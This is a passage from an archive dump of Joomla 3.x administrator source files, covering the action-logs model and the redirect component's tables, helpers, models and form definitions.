		if (!empty($fullorderCol))
		{
			$query->order($db->escape($fullorderCol));
		}

		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Get logs data into JTable object
	 *
	 * @param   integer[]|null  $pks  An optional array of log record IDs to load
	 *
	 * @return  array  All logs in the table
	 *
	 * @since   3.9.0
	 */
	public function getLogsData($pks = null)
	{
		$db    = $this->getDbo();
		$query = $this->getLogDataQuery($pks);

		$db->setQuery($query);

		return $db->loadObjectList();
	}

	/**
	 * Get logs data as a database iterator
	 *
	 * @param   integer[]|null  $pks  An optional array of log record IDs to load
	 *
	 * @return  JDatabaseIterator
	 *
	 * @since   3.9.0
	 */
	public function getLogDataAsIterator($pks = null)
	{
		$db    = $this->getDbo();
		$query = $this->getLogDataQuery($pks);

		$db->setQuery($query);

		return $db->getIterator();
	}

	/**
	 * Get the query for loading logs data
	 *
	 * @param   integer[]|null  $pks  An optional array of log record IDs to load
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.9.0
	 */
	private function getLogDataQuery($pks = null)
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('a.*, u.name')
			->from('#__action_logs AS a')
			->innerJoin('#__users AS u ON a.user_id = u.id');

		if (is_array($pks) && count($pks) > 0)
		{
			$query->where($db->quoteName('a.id') . ' IN (' . implode(',', ArrayHelper::toInteger($pks)) . ')');
		}

		return $query;
	}

	/**
	 * Delete logs
	 *
	 * @param   array  $pks  Primary keys of logs
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function delete(&$pks)
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__action_logs'))
			->where($db->quoteName('id') . ' IN (' . implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		Factory::getApplication()->triggerEvent('onAfterLogPurge', array());

		return true;
	}

	/**
	 * Removes all of logs from the table.
	 *
	 * @return  boolean result of operation
	 *
	 * @since   3.9.0
	 */
	public function purge()
	{
		try
		{
			$this->getDbo()->truncateTable('#__action_logs');
		}
		catch (Exception $e)
		{
			return false;
		}

		Factory::getApplication()->triggerEvent('onAfterLogPurge', array());

		return true;
	}

	/**
	 * Get the filter form
	 *
	 * @param   array    $data      data
	 * @param   boolean  $loadData  load current data
	 *
	 * @return  \JForm|boolean  The \JForm object or false on error
	 *
	 * @since  3.9.0
	 */
	public function getFilterForm($data = array(), $loadData = true)
	{
		$form      = parent::getFilterForm($data, $loadData);
		$params    = ComponentHelper::getParams('com_actionlogs');
		$ipLogging = (bool) $params->get('ip_logging', 0);

		// Add ip sort options to sort dropdown
		if ($form && $ipLogging)
		{
			/* @var JFormFieldList $field */
			$field = $form->getField('fullordering', 'list');
			$field->addOption(Text::_('COM_ACTIONLOGS_IP_ADDRESS_ASC'), array('value' => 'a.ip_address ASC'));
			$field->addOption(Text::_('COM_ACTIONLOGS_IP_ADDRESS_DESC'), array('value' => 'a.ip_address DESC'));
		}

		return $form;
	}
}
com_actionlogs/models/forms/filter_actionlogs.xml000060400000004065152455305260016416 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			description="COM_ACTIONLOGS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="extension"
			type="extension"
			label="COM_ACTIONLOGS_EXTENSION"
			description="COM_ACTIONLOGS_EXTENSION_FILTER_DESC"
			onchange="this.form.submit()"
			>
			<option value="">COM_ACTIONLOGS_SELECT_EXTENSION</option>
		</field>
		<field
			name="dateRange"
			type="logsdaterange"
			label="COM_ACTIONLOGS_OPTION_FILTER_DATE"
			description="COM_ACTIONLOGS_OPTION_FILTER_DATE"
			onchange="this.form.submit();"
			>
			<option value="">COM_ACTIONLOGS_OPTION_FILTER_DATE</option>
		</field>
		<field
			name="user"
			type="logcreator"
			onchange="this.form.submit();"
			>
			<option value="">COM_ACTIONLOGS_SELECT_USER</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_ACTIONLOGS_LIST_FULL_ORDERING"
			description="COM_ACTIONLOGS_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.message ASC">COM_ACTIONLOGS_ACTION_ASC</option>
			<option value="a.message DESC">COM_ACTIONLOGS_ACTION_DESC</option>
			<option value="a.extension ASC">COM_ACTIONLOGS_EXTENSION_ASC</option>
			<option value="a.extension DESC">COM_ACTIONLOGS_EXTENSION_DESC</option>
			<option value="a.log_date ASC">JDATE_ASC</option>
			<option value="a.log_date DESC">JDATE_DESC</option>
			<option value="a.user_id ASC">COM_ACTIONLOGS_NAME_ASC</option>
			<option value="a.user_id DESC">COM_ACTIONLOGS_NAME_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="limit"
			type="limitbox"
			label="COM_ACTIONLOGS_LIST_LIMIT"
			description="COM_ACTIONLOGS_LIST_LIMIT_DESC"
			class="input-mini"
			onchange="this.form.submit();"
			default="25"
		/>
	</fields>
</form>
com_redirect/layouts/toolbar/batch.php000060400000001051152455305260014137 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  Layout
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');

$title = $displayData['title'];

?>
<button type="button" data-toggle="modal" onclick="{jQuery( '#collapseModal' ).modal('show'); return true;}" class="btn btn-small">
	<span class="icon-checkbox-partial" aria-hidden="true"></span>
	<?php echo $title; ?>
</button>
com_redirect/tables/link.php000060400000005407152455305260012134 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Link Table for Redirect.
 *
 * @since  1.6
 */
class RedirectTableLink extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database object.
	 *
	 * @since   1.6
	 */
	public function __construct($db)
	{
		parent::__construct('#__redirect_links', 'id', $db);
	}

	/**
	 * Overloaded check function
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function check()
	{
		$this->old_url = trim(rawurldecode($this->old_url));
		$this->new_url = trim(rawurldecode($this->new_url));

		// Check for valid name.
		if (empty($this->old_url))
		{
			$this->setError(JText::_('COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED'));

			return false;
		}

		// Check for NOT NULL.
		if (empty($this->referer))
		{
			$this->referer = '';
		}

		// Check for valid name if not in advanced mode.
		if (empty($this->new_url) && JComponentHelper::getParams('com_redirect')->get('mode', 0) == false)
		{
			$this->setError(JText::_('COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED'));

			return false;
		}
		elseif (empty($this->new_url) && JComponentHelper::getParams('com_redirect')->get('mode', 0) == true)
		{
			// Else if an empty URL and in redirect mode only throw the same error if the code is a 3xx status code
			if ($this->header < 400 && $this->header >= 300)
			{
				$this->setError(JText::_('COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED'));

				return false;
			}
		}

		// Check for duplicates
		if ($this->old_url == $this->new_url)
		{
			$this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_URLS'));

			return false;
		}

		$db = $this->getDbo();

		// Check for existing name
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->select($db->quoteName('old_url'))
			->from('#__redirect_links')
			->where($db->quoteName('old_url') . ' = ' . $db->quote($this->old_url));
		$db->setQuery($query);
		$urls = $db->loadAssocList();

		foreach ($urls as $url)
		{
			if ($url['old_url'] === $this->old_url && (int) $url['id'] != (int) $this->id)
			{
				$this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_OLD_URL'));

				return false;
			}
		}

		return true;
	}

	/**
	 * Overriden store method to set dates.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate()->toSql();

		$this->modified_date = $date;

		if (!$this->id)
		{
			// New record.
			$this->created_date = $date;
		}

		return parent::store($updateNulls);
	}
}
com_redirect/helpers/html/redirect.php000060400000003477152455305260014141 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Utility class for creating HTML Grids.
 *
 * @since  1.6
 */
class JHtmlRedirect
{
	/**
	 * Display the published or unpublished state of an item.
	 *
	 * @param   int      $value      The state value.
	 * @param   int      $i          The ID of the item.
	 * @param   boolean  $canChange  An optional prefix for the task.
	 *
	 * @return  string
	 *
	 * @since   1.6
	 *
	 * @throws  InvalidArgumentException
	 */
	public static function published($value = 0, $i = null, $canChange = true)
	{
		// Note: $i is required but has to be an optional argument in the function call due to argument order
		if (null === $i)
		{
			throw new InvalidArgumentException('$i is a required argument in JHtmlRedirect::published');
		}

		// Array of image, task, title, action
		$states = array(
			1  => array('publish', 'links.unpublish', 'JENABLED', 'COM_REDIRECT_DISABLE_LINK'),
			0  => array('unpublish', 'links.publish', 'JDISABLED', 'COM_REDIRECT_ENABLE_LINK'),
			2  => array('archive', 'links.unpublish', 'JARCHIVED', 'JUNARCHIVE'),
			-2 => array('trash', 'links.publish', 'JTRASHED', 'COM_REDIRECT_ENABLE_LINK'),
		);

		$state = ArrayHelper::getValue($states, (int) $value, $states[0]);
		$icon  = $state[0];

		if ($canChange)
		{
			$html = '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $state[1] . '\')" class="btn btn-micro hasTooltip'
				. ($value == 1 ? ' active' : '') . '" title="' . JHtml::_('tooltipText', $state[3])
				. '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}

		return $html;
	}
}
com_redirect/helpers/redirect.php000060400000005566152455305260013176 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Redirect component helper.
 *
 * @since  1.6
 */
class RedirectHelper
{
	public static $extension = 'com_redirect';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		// No submenu for this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_redirect');
	}

	/**
	 * Returns an array of standard published state filter options.
	 *
	 * @return  array  An array containing the options
	 *
	 * @since   1.6
	 */
	public static function publishedOptions()
	{
		// Build the active state filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '*', 'JALL');
		$options[] = JHtml::_('select.option', '1', 'JENABLED');
		$options[] = JHtml::_('select.option', '0', 'JDISABLED');
		$options[] = JHtml::_('select.option', '2', 'JARCHIVED');
		$options[] = JHtml::_('select.option', '-2', 'JTRASHED');

		return $options;
	}

	/**
	 * Gets the redirect system plugin extension id.
	 *
	 * @return  integer  The redirect system plugin extension id.
	 *
	 * @since   3.6.0
	 */
	public static function getRedirectPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('redirect'));
		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $result;
	}

	/**
	 * Checks whether the option "Collect URLs" is enabled for the output message
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public static function collectUrlsEnabled()
	{
		$collect_urls = false;

		if (JPluginHelper::isEnabled('system', 'redirect'))
		{
			$params       = new Registry(JPluginHelper::getPlugin('system', 'redirect')->params);
			$collect_urls = (bool) $params->get('collect_urls', 1);
		}

		return $collect_urls;
	}
}
com_redirect/models/link.php000060400000014042152455305260012140 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Redirect link model.
 *
 * @since  1.6
 */
class RedirectModelLink extends JModelAdmin
{
	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_REDIRECT';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if ($record->published != -2)
		{
			return false;
		}

		return parent::canDelete($record);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable    A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Link', $prefix = 'RedirectTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_redirect.link', 'link', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if ($this->canEditState((object) $data) != true)
		{
			// Disable fields for display.
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('published', 'filter', 'unset');
		}

		// If in advanced mode then we make sure the new URL field is not compulsory and the header
		// field compulsory in case people select non-3xx redirects
		if (JComponentHelper::getParams('com_redirect')->get('mode', 0) == true)
		{
			$form->setFieldAttribute('new_url', 'required', 'false');
			$form->setFieldAttribute('header', 'required', 'true');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_redirect.edit.link.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_redirect.link', $data);

		return $data;
	}

	/**
	 * Method to activate links.
	 *
	 * @param   array   &$pks     An array of link ids.
	 * @param   string  $url      The new URL to set for the redirect.
	 * @param   string  $comment  A comment for the redirect links.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function activate(&$pks, $url, $comment = null)
	{
		$user = JFactory::getUser();
		$db = $this->getDbo();

		// Sanitize the ids.
		$pks = (array) $pks;
		$pks = ArrayHelper::toInteger($pks);

		// Populate default comment if necessary.
		$comment = (!empty($comment)) ? $comment : JText::sprintf('COM_REDIRECT_REDIRECTED_ON', JHtml::_('date', time()));

		// Access checks.
		if (!$user->authorise('core.edit', 'com_redirect'))
		{
			$pks = array();
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'));

			return false;
		}

		if (!empty($pks))
		{
			// Update the link rows.
			$query = $db->getQuery(true)
				->update($db->quoteName('#__redirect_links'))
				->set($db->quoteName('new_url') . ' = ' . $db->quote($url))
				->set($db->quoteName('published') . ' = ' . (int) 1)
				->set($db->quoteName('comment') . ' = ' . $db->quote($comment))
				->where($db->quoteName('id') . ' IN (' . implode(',', $pks) . ')');
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to batch update URLs to have new redirect urls and comments. Note will publish any unpublished URLs.
	 *
	 * @param   array   &$pks     An array of link ids.
	 * @param   string  $url      The new URL to set for the redirect.
	 * @param   string  $comment  A comment for the redirect links.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   3.6.0
	 */
	public function duplicateUrls(&$pks, $url, $comment = null)
	{
		$user = JFactory::getUser();
		$db = $this->getDbo();

		// Sanitize the ids.
		$pks = (array) $pks;
		$pks = ArrayHelper::toInteger($pks);

		// Access checks.
		if (!$user->authorise('core.edit', 'com_redirect'))
		{
			$pks = array();
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'));

			return false;
		}

		if (!empty($pks))
		{
			$date = JFactory::getDate()->toSql();

			// Update the link rows.
			$query = $db->getQuery(true)
				->update($db->quoteName('#__redirect_links'))
				->set($db->quoteName('new_url') . ' = ' . $db->quote($url))
				->set($db->quoteName('modified_date') . ' = ' . $db->quote($date))
				->set($db->quoteName('published') . ' = ' . 1)
				->where($db->quoteName('id') . ' IN (' . implode(',', $pks) . ')');

			if (!empty($comment))
			{
				$query->set($db->quoteName('comment') . ' = ' . $db->quote($comment));
			}

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}
}
com_redirect/models/forms/link.xml000060400000004021152455305260013273 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			id="id"
			default="0"
			readonly="true"
			class="readonly"
		 />

		<field
			name="old_url"
			type="text"
			label="COM_REDIRECT_FIELD_OLD_URL_LABEL"
			description="COM_REDIRECT_FIELD_OLD_URL_DESC"
			class="input-xxlarge"
			size="50"
			required="true"
		/>

		<field
			name="new_url"
			type="text"
			label="COM_REDIRECT_FIELD_NEW_URL_LABEL"
			description="COM_REDIRECT_FIELD_NEW_URL_DESC"
			class="input-xxlarge"
			size="50"
			required="true"
		/>

		<field
			name="comment"
			type="text"
			label="COM_REDIRECT_FIELD_COMMENT_LABEL"
			description="COM_REDIRECT_FIELD_COMMENT_DESC"
			size="40"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			size="1"
			default="1"
			>
			<option value="1">JENABLED</option>
			<option value="0">JDISABLED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="referer"
			type="text"
			label="COM_REDIRECT_FIELD_REFERRER_LABEL"
			id="referer"
			size="50"
			readonly="true"
		/>

		<field
			name="created_date"
			type="text"
			label="COM_REDIRECT_FIELD_CREATED_DATE_LABEL"
			id="created_date"
			class="readonly"
			size="20"
			readonly="true"
		/>

		<field
			name="modified_date"
			type="text"
			label="COM_REDIRECT_FIELD_UPDATED_DATE_LABEL"
			id="modified_date"
			class="readonly"
			size="20"
			readonly="true"
		/>

		<field
			name="hits"
			type="number"
			label="JGLOBAL_HITS"
			id="hits"
			class="readonly"
			size="20"
			readonly="true"
			filter="unset"
		/>
	</fieldset>
	<fieldset name="advanced">
		<field
			name="header"
			type="redirect"
			label="COM_REDIRECT_FIELD_REDIRECT_STATUS_CODE_LABEL"
			description="COM_REDIRECT_FIELD_REDIRECT_STATUS_CODE_DESC"
			default="301"
			validate="options"
			class="input-xlarge"
		/>
	</fieldset>
</form>
com_redirect/models/forms/filter_links.xml000060400000004565152455305260015040 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_REDIRECT_FILTER_SEARCH_LABEL"
			description="COM_REDIRECT_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="state"
			type="redirect_status"
			label="COM_REDIRECT_FILTER_PUBLISHED"
			description="COM_REDIRECT_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="http_status"
			type="Redirect"
			label="COM_REDIRECT_FILTER_HTTP_HEADER_LABEL"
			description="COM_REDIRECT_FILTER_HTTP_HEADER_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_REDIRECT_FILTER_SELECT_OPTION_HTTP_HEADER</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.old_url ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.old_url ASC">COM_REDIRECT_HEADING_OLD_URL_ASC</option>
			<option value="a.old_url DESC">COM_REDIRECT_HEADING_OLD_URL_DESC</option>
			<option value="a.new_url ASC">COM_REDIRECT_HEADING_NEW_URL_ASC</option>
			<option value="a.new_url DESC">COM_REDIRECT_HEADING_NEW_URL_DESC</option>
			<option value="a.referer ASC">COM_REDIRECT_HEADING_REFERRER_ASC</option>
			<option value="a.referer DESC">COM_REDIRECT_HEADING_REFERRER_DESC</option>
			<option value="a.created_date ASC">COM_REDIRECT_HEADING_CREATED_DATE_ASC</option>
			<option value="a.created_date DESC">COM_REDIRECT_HEADING_CREATED_DATE_DESC</option>
			<option value="a.hits ASC">COM_REDIRECT_HEADING_HITS_ASC</option>
			<option value="a.hits DESC">COM_REDIRECT_HEADING_HITS_DESC</option>
			<option value="a.header ASC">COM_REDIRECT_HEADING_STATUS_CODE_ASC</option>
			<option value="a.header DESC">COM_REDIRECT_HEADING_STATUS_CODE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="5"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_redirect/models/links.php000060400000013556152455305260012334 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of redirect links.
 *
 * @since  1.6
 */
class RedirectModelLinks extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'state', 'a.state',
				'old_url', 'a.old_url',
				'new_url', 'a.new_url',
				'referer', 'a.referer',
				'hits', 'a.hits',
				'created_date', 'a.created_date',
				'published', 'a.published',
				'header', 'a.header', 'http_status',
			);
		}

		parent::__construct($config);
	}
	/**
	 * Removes all of the unpublished redirects from the table.
	 *
	 * @return  boolean result of operation
	 *
	 * @since   3.5
	 */
	public function purge()
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true);

		$query->delete('#__redirect_links')->where($db->qn('published') . '= 0');

		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (Exception $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.old_url', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'));
		$this->setState('filter.http_status', $this->getUserStateFromRequest($this->context . '.filter.http_status', 'filter_http_status', '', 'cmd'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_redirect');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.http_status');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from($db->quoteName('#__redirect_links', 'a'));

		// Filter by published state
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where($db->quoteName('a.published') . ' = ' . (int) $state);
		}
		elseif ($state === '')
		{
			$query->where($db->quoteName('a.published') . ' IN (0,1)');
		}

		// Filter the items over the HTTP status code header.
		if ($httpStatusCode = $this->getState('filter.http_status'))
		{
			$query->where($db->quoteName('a.header') . ' = ' . (int) $httpStatusCode);
		}

		// Filter the items over the search string if set.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where(
					'(' . $db->quoteName('old_url') . ' LIKE ' . $search .
					' OR ' . $db->quoteName('new_url') . ' LIKE ' . $search .
					' OR ' . $db->quoteName('comment') . ' LIKE ' . $search .
					' OR ' . $db->quoteName('referer') . ' LIKE ' . $search . ')'
				);
			}
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.old_url')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Add the entered URLs into the database
	 *
	 * @param   array  $batchUrls  Array of URLs to enter into the database
	 *
	 * @return boolean
	 */
	public function batchProcess($batchUrls)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);

		$params = JComponentHelper::getParams('com_redirect');
		$state  = (int) $params->get('defaultImportState', 0);

		$columns = array(
			$db->quoteName('old_url'),
			$db->quoteName('new_url'),
			$db->quoteName('referer'),
			$db->quoteName('comment'),
			$db->quoteName('hits'),
			$db->quoteName('published'),
			$db->quoteName('created_date')
		);

		$query->columns($columns);

		foreach ($batchUrls as $batch_url)
		{
			$old_url = $batch_url[0];

			// Destination URL can also be an external URL
			if (!empty($batch_url[1]))
			{
				$new_url = $batch_url[1];
			}
			else
			{
				$new_url = '';
			}

			$query->insert($db->quoteName('#__redirect_links'), false)
				->values(
					$db->quote($old_url) . ', ' . $db->quote($new_url) . ' ,' . $db->quote('') . ', ' . $db->quote('') . ', 0, ' . $state . ', ' .
					$db->quote(JFactory::getDate()->toSql())
				);
		}

		$db->setQuery($query);
		$db->execute();

		return true;
	}
}
com_redirect/models/fields/redirect.php000060400000007435152455305260014262 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * A dropdown containing all valid HTTP 1.1 response codes.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_redirect
 * @since       3.4
 */
class JFormFieldRedirect extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4
	 */
	protected $type = 'Redirect';

	/**
	 * A map of integer HTTP 1.1 response codes to the full HTTP Status for the headers.
	 *
	 * @var    object
	 * @since  3.4
	 * @link   http://www.iana.org/assignments/http-status-codes/
	 */
	protected $responseMap = array(
		100 => 'HTTP/1.1 100 Continue',
		101 => 'HTTP/1.1 101 Switching Protocols',
		102 => 'HTTP/1.1 102 Processing',
		200 => 'HTTP/1.1 200 OK',
		201 => 'HTTP/1.1 201 Created',
		202 => 'HTTP/1.1 202 Accepted',
		203 => 'HTTP/1.1 203 Non-Authoritative Information',
		204 => 'HTTP/1.1 204 No Content',
		205 => 'HTTP/1.1 205 Reset Content',
		206 => 'HTTP/1.1 206 Partial Content',
		207 => 'HTTP/1.1 207 Multi-Status',
